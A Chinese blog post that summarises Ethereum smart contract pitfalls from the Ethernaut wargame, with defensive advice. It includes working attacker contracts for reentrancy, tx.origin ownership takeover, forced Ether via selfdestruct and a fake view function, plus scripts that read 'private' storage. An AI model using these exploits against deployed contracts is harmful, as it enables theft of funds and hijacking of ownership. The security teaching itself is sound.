开发以太坊智能合约要注意的几个坑

以太坊智能合约安全漏洞频繁出现,一些通用的合约,比如 token 合约,一般都会以 OpenZeppelin 为基础,来发布。OpenZeppelin 还开发了一系列的智能合约习题:The Ethernaut,这是一个 wargame,目前有 19 道题,每道题是一个有漏洞的合约,hack 之后才能过关。强烈推荐练习,有助于理解并开发安全的智能合约,不知道怎么做的可以参考这篇教程智能合约CTF:Ethernaut Writeup Part 1。本篇文章是对题目中涉及的一些知识点的总结。

Fallback 函数

以太坊的智能合约,可以声明一个匿名函数(unnamed function),叫做 Fallback 函数,这个函数不带任何参数,也没有返回值。当向这个合约发送消息时,如果没有找到匹配的函数就会调用 fallback 函数。比如向合约转账,但要合约接收 Ether,那么 fallback 函数必须声明为 payable,否则试图向此合约转 ETH 将失败。如下:

function() payable public { // payable 关键字,表明调用此函数,可向合约转 Ether。
}

向合约发送 send、transfer、call 消息时候都会调用 fallback 函数,不同的是 send 和 transfer 有 2300 gas 的限制,也就是传递给 fallback 的只有 2300 gas,这个 gas 只能用于记录日志,因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数,这有可能导致循环调用。

call 可导致可重入攻击,当向合约转账的时候,会调用 fallback 函数,如下:

contract Reentrance {

  mapping(address => uint) public balances;

    // 充值
  function donate(address _to) public payable {
    balances[_to] += msg.value;
  }

  // 查看余额
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  // 提现
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      if(msg.sender.call.value(_amount)()) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  function() public payable {}
}
   
contract ReentranceAttack{
  Reentrance entrance;

  function ReentranceAttack(address _target) public payable {
    entrance = Reentrance(_target);
  }

  function deposit() public payable{
      entrance.donate.value(msg.value);
  }

  function attack() public{
    entrance.withdraw(0.5 ether);
    entrance.withdraw(0.5 ether);
  }

  function() public payable{
    entrance.withdraw(0.5 ether);
  }

  function withdraw() public {
      msg.sender.transfer(this.balance);
  }
}

攻击过程如图:

image

攻击者先调用 ReentranceAttack 的 deposit() 函数发送 ETH 给 Reentrance 合约。然后再调用 attack() 取现,向 Reentrance 请求取现,调用 withdraw(),当系统执行 withdraw(),将向合约 ReentranceAttack 转账,这个时候就会触发 ReentranceAttack 的 fallback 函数。而该函数里又调用了 withdraw(),这样就导致了递归调用(如上图,红色箭头形成一个循环),直到 gas 费用被耗尽,或 Reentrance 合约余额小于转出金额,失败退出。

导致以太坊分叉的合约漏洞 DAO 事件,就是这么被攻击的。这里要把balances[msg.sender] -= _amount; 写在转账之前。并使用 send()transfer() 以制定gas值的使用,但是这样可能会导致在合约调用fallback 函数由于gas可能不足。

智能合约最佳实践,建议使用 push 和 pull, 在 push 部分使用send()transfer(),在pull 部分使用call.value()()。

另外,没有实现 payable fallback 函数的合约在以下两种情况下可接受 Ether: 1. 将合约地址作为挖矿地址 2. 调用其他合约的自毁函数 selfdestruct,而将此合约的地址作为参数。

A contract without a payable fallback function can receive Ether as a recipient of a coinbase transaction (aka miner block reward) or as a destination of a selfdestruct.

下面的代码就能实现向一个没有实现 payable fallback 函数的合约发送 ETH:

contract Force {/*
*/}

contract SelfDestruct {
    address public dest_address;
    
    function SelfDestruct(address dest_addr) payable{ // 构造函数为payable,那么就能在部署的时候给此合约转账。
            dest_address = dest_addr
    } 
    
    function attack(){
        selfdestruct(dest_address); // 这里要指定为销毁时将基金发送给的地址。
    }
}

Force 合约没有实现 payable 函数,但若通过上面的 SelfDestruct 合约,在创建的时候将 Force 合约的地址传入,同时发送一些 ETH 给 SelfDestruction,之后再调用 SelfDestruct 的 attack 函数,执行其中的 selfdestruct,则 SelfDestruct 剩余的所有 ETH 都将发送给 Force。

tx.origin 和 msg.sender

tx.origin 和 msg.sender 区别,看以下代码:

contract Telephone {

  address public owner;

  function Telephone() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

这里要调用成功,需要借助另一个合约,msg.sender 变为合约地址,tx.orgin 为执行合约的人。

contract HackTelephone {

  address public contractAddr = 0x9e...; // Telephone 合约地址

  Telephone telephone = Telephone(contractAddr);

  function changeowner() public  {
    telephone.changeOwner(msg.sender);
  }
}

这样就能成功调用 Telephone 的 changeOwner。 solidity 文档中建议

Never use tx.origin for authorization.

整数溢出

function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

传入一个上溢的 _value,那么转账金额就溢出了。在做整数加减乘除时,建议使用 OpenZeppelin 实现的 SafeMath 合约。

合约的数据存储结构

以太坊上的所有数据都是公开的,即使是声明为私有变量的数据,看以下代码:

contract Vault {
  bool public locked;
  bytes32 private password;

  function Vault(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

实际上,调用 contract.storageAt(contractAddr) 就能获取到合约的所有成员变量,不管私有还是共有。通过以下 js 代码就能获取到 password 值:

var contractAddr = "0x9c...."; // Vault 合约地址
web3.eth.getStorageAt(contractAddr, 1, function(x, y) {
     console.log(web3.toAscii(y))
});

再看另一个例子:

contract Privacy {

  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
}

关于以太坊的获取这个合约的所有成员变量,constant 变量直接编译在代码中,这里不考虑。总共有 5 个变量,通过eth.getStorageAt查看:

let contractAddress = '0x23..'; // 合约地址
for (index = 0; index < 6; index++){
 storage = web3.eth.getStorageAt(contractAddress, index)
 console.log(`[${index}]` + storage)

输出:

[0]0x0000000000000000000000000000000000000000000000000000007be0ff0a00
[1]0x01041553ed361174f92060a8390cbefad285f66969f14e9847bf233be4f252ec
[2]0xbcc6a03856edf34bf363b4ba202925265d535cbeadbc0d71ed3b3cef79b2116c
[3]0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54
[4]0x0000000000000000000000000000000000000000000000000000000000000000
[5]0x0000000000000000000000000000000000000000000000000000000000000000

分析第一个输出,0x7be0ff0a00,对应合约变量:true的十六进制0x00,10的十六进制 0x0a,255的十六进制 0xff,0x7be0ff0a00 的最后六位刚好是这几个值的拼接,而 0x7be0 应该就是 awkwardness 的值,合约会合并不满 32 字节的变量。这样,[1][2][3] 就是 data 这个字节数组了,从而可以判断 data[2]= 0x9f7ace3fa28705128796a9befdcbaa0002cd0ad2f0d69bb7e355d4d9e783ec54。所以不要直接在合约中以等于某个私有变量来做权限判断,一切都是可见的!

view 和 pure

如果想声明只读函数,不修改合约数据,一般会声明函数为 view 和 pure,它们的定义:

View Functions
Functions can be declared view in which case they promise not to modify the state.

Pure Functions
Functions can be declared pure in which case they promise not to read from or modify the state.

函数在保证不修改状态情况下可以被声明为视图(view)的形式。但这是松散的,当前 Solidity 编译器没有强制执行视图函数(view function)或常量函数(constant function)不能修改状态。而且也没有强制纯函数(pure function)不读取状态信息。所以声明一个 view 和 pure 函数,并不保证就不修改数据状态。看以下代码:

interface Building {
  function isLastFloor(uint) view public returns (bool);
}

contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

isLastFloor 被声明为 view,但我们可以写一个可以操纵状态(state)的 isLastFloor 函数,返回 true,从而修改 Elevator 的 top 和 floor 变量,如下:

contract HackBuilding {   
    bool isLast = true;
    function isLastFloor(uint)  public returns (bool) {
        isLast = !isLast;
        return isLast;
    }
    
    function hack(address _target) public {
        Elevator elevator = Elevator(_target);
        elevator.goTo(10);
    }
}

总结:

  1. fallback 函数:要向合约地址转账,要实现 payable fallback 函数。即使没有实现 payable fallback 函数,合约在两种情况下可以接收 ETH:矿工挖矿的 ETH 收入,另一个合约通过调用自毁函数 selfdestruct 并指定该合约为接收者。
  2. 可重入攻击,转账操作使用 send() 或者 transfer() 尽量避免使用 call ,如果调用限制 gas 值。
  3. 以太坊上的任何数据都是公开的,即使是智能合约中声明为私有的变量。
  4. 不要用 tx.origin 做权限验证。
  5. 检查整数溢出,使用 MathSafe 库。
  6. 不要认为声明为 view 或 pure 的函数永远是只读。
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 203,098评论 5 476
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,213评论 2 380
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 149,960评论 0 336
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,519评论 1 273
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,512评论 5 364
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,533评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,914评论 3 395
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,574评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,804评论 1 296
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,563评论 2 319
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,644评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,350评论 4 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,933评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,908评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,146评论 1 259
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,847评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,361评论 2 342

推荐阅读更多精彩内容

  • 原文:Smart contracts 正如我们在[intro]中看到的那样,以太坊中有两种不同类型的帐户:外部拥有...
    Jisen阅读 4,908评论 1 7
  • 1. Re-Entrancy重新入口 以太坊智能合约的一个特点是能够调用和使用其他外部合约的代码。合约也通常可以处...
    笔名辉哥阅读 11,459评论 0 56
  • 前言 刚写oc,还不知道kvc,只知道这个东西和前端中的json很像,后来发现确实很像哈哈,不错还有一些前端jso...
    叔叔不吃棒棒糖阅读 314评论 0 0
  • 01.人的性质会因“轰轰烈烈地与不幸抗争”而变得更深沉、多彩,也更丰盛,它会让我们挖掘出深藏在人性深处的东西。 0...
    狂想ing阅读 147评论 0 3
  • 微雨送残阳,暮纱掩寒窗。 厌灯独坐前堂下,屈指问宫商。 谁长留身影在黄土, 目睹虹霞轻越,万里山河路。 携九载枯荣...
    不思中州晚阅读 379评论 4 9